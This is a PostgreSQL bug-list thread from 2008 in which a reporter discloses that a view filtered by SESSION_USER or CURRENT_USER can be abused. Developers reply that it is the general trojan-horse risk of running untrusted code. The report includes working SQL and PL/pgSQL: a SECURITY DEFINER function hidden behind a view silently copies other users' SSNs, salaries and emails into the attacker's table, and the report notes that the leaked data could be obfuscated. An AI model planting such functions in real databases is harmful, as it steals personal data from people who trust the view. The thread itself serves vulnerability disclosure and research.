Обсуждение: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe

The following bug has been logged online:

Bug reference:      4074
Logged by:          Lars Olson
Email address:      leolson1@uiuc.edu
PostgreSQL version: 8.3.1
Operating system:   Windows XP
Description:        Using SESSION_USER or CURRENT_USER in a view definition
is unsafe
Details:

Creating a view that depends on the value of SESSION_USER enables a
minimally-privileged user to write a user-defined function that contains a
trojan-horse to get arbitrary data from the base table.  Using CURRENT_USER
instead still enables a similar vulnerability.

To reproduce the problem, create three users, alice (base table owner), bob
(attacker), and carol (other minimally-privileged user).  As Alice, create
the following table and view:

CREATE TABLE employee(
   name varchar(50) unique,
   ssn int,
   salary int,
   email varchar(30));
INSERT INTO employee VALUES('alice',123456789,70000,'alice@example.com');
INSERT INTO employee VALUES('bob',234567890,70000,'bob@example.com');
INSERT INTO employee VALUES('carol',345678901,70000,'carol@example.com');

CREATE VIEW employee_view AS
   SELECT * FROM employee
   WHERE name=SESSION_USER;

GRANT SELECT ON employee_view TO bob,carol;

At this point, Bob and Carol should both be able to access their own
employee data by executing SELECT * FROM employee_view; but not each other's
data.

As Bob, create the following tables, function, and view:

CREATE TABLE picnic(
   username varchar(50),
   assignment varchar(50));
INSERT INTO picnic VALUES('alice','chips');
INSERT INTO picnic VALUES('bob','drinks');
INSERT INTO picnic VALUES('carol','salad');

CREATE TABLE employee_leaked_data(
   username varchar(50) unique,
   ssn int,
   salary int,
   email varchar(30));

CREATE FUNCTION leakInfo()
RETURNS BOOLEAN AS $$
DECLARE
   name1 varchar(50);
   ssn1 int;
   salary1 int;
   email1 varchar(50);
BEGIN
   FOR name1, ssn1, salary1, email1 IN SELECT * FROM employee_view LOOP
      BEGIN
         INSERT INTO employee_leaked_data VALUES (name1, ssn1, salary1,
email1);
      EXCEPTION WHEN unique_violation THEN
            UPDATE employee_leaked_data SET ssn=ssn1, salary=salary1,
email=email1
            WHERE name=name1;
      END;
   END LOOP;
   RETURN true;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

CREATE VIEW picnic_view AS
   SELECT * FROM picnic WHERE leakInfo();
GRANT SELECT ON picnic_view TO alice, carol;

As Carol, query Bob's table:
SELECT * FROM picnic_view;

Bob can now view Carol's employee information:
SELECT * FROM employee_leaked_data;

If Alice uses CURRENT_USER instead of SESSION_USER, Bob can still execute a
similar attack if he defines function leakInfo() with SECURITY INVOKER
instead of SECURITY DEFINER, and then grants privileges on
employee_leaked_data:
GRANT SELECT,INSERT,UPDATE ON employee_leaked_data TO alice, carol;
In this case, Alice and Carol might be able to notice the existence of this
table and detect the information leakage, however the data could be
obfuscated or even encrypted to counter this.

It's difficult to say exactly how such a problem should be fixed.  Clearly a
simple solution is that SESSION_USER and CURRENT_USER should not be used for
evaluating view conditions, and perhaps this should be added to the
documentation.

This is highly related to a paper I am preparing for a security conference
that I am submitting in two weeks.  Sorry about the short notice, I only
just thought of this problem yesterday.  I would like to use this as an
example in my paper, but I will not do so without PostgreSQL's permission.
Please advise.

Lars Olson wrote:
> Creating a view that depends on the value of SESSION_USER enables a
> minimally-privileged user to write a user-defined function that contains a
> trojan-horse to get arbitrary data from the base table.  Using CURRENT_USER
> instead still enables a similar vulnerability.
>
> To reproduce the problem, create three users, alice (base table owner), bob
> (attacker), and carol (other minimally-privileged user).  As Alice, create
> the following table and view:
> ...

This seems to be an instance of the general trojan-horse problem
discussed here:

http://archives.postgresql.org/pgsql-hackers/2008-01/msg00268.php

In a nutshell, it's just not safe to access a view or function owned by
a user you don't trust. :-(

--
   Heikki Linnakangas
   EnterpriseDB   http://www.enterprisedb.com

"Lars Olson" <leolson1@uiuc.edu> writes:
> Creating a view that depends on the value of SESSION_USER enables a
> minimally-privileged user to write a user-defined function that contains a
> trojan-horse to get arbitrary data from the base table.

This example proves nothing except that you shouldn't execute untrusted
code --- Carol gave up her data by willingly executing Bob's function.
I don't think that the use of SESSION_USER is particularly to blame.
There are certainly any number of other ways Bob could have abused
her trust here.

> This is highly related to a paper I am preparing for a security conference
> that I am submitting in two weeks.  Sorry about the short notice, I only
> just thought of this problem yesterday.  I would like to use this as an
> example in my paper, but I will not do so without PostgreSQL's permission.
> Please advise.

If this were a security issue, you already spilled the beans by
reporting it to a public mailing list; so I'm unsure what you are
concerned about.

            regards, tom lane

On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <tgl@sss.pgh.pa.us> wrote:
>  If this were a security issue, you already spilled the beans by
>  reporting it to a public mailing list; so I'm unsure what you are
>  concerned about.

I'd wager that Lars didn't realise the bug form goes straight to the
list. We should probably make that more clear.

On the other hand it does say to report security issues to security@...


--
Dave Page
EnterpriseDB UK Ltd: http://www.enterprisedb.com
PostgreSQL UK 2008 Conference: http://www.postgresql.org.uk

Dave Page wrote:
> On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <tgl@sss.pgh.pa.us> wrote:
> >  If this were a security issue, you already spilled the beans by
> >  reporting it to a public mailing list; so I'm unsure what you are
> >  concerned about.
>
> I'd wager that Lars didn't realise the bug form goes straight to the
> list. We should probably make that more clear.
>
> On the other hand it does say to report security issues to security@...

Let's have a checkbox "I am reporting a security issue" and send the
mail to security@ if checked.

--
Alvaro Herrera                                http://www.CommandPrompt.com/
The PostgreSQL Company - Command Prompt, Inc.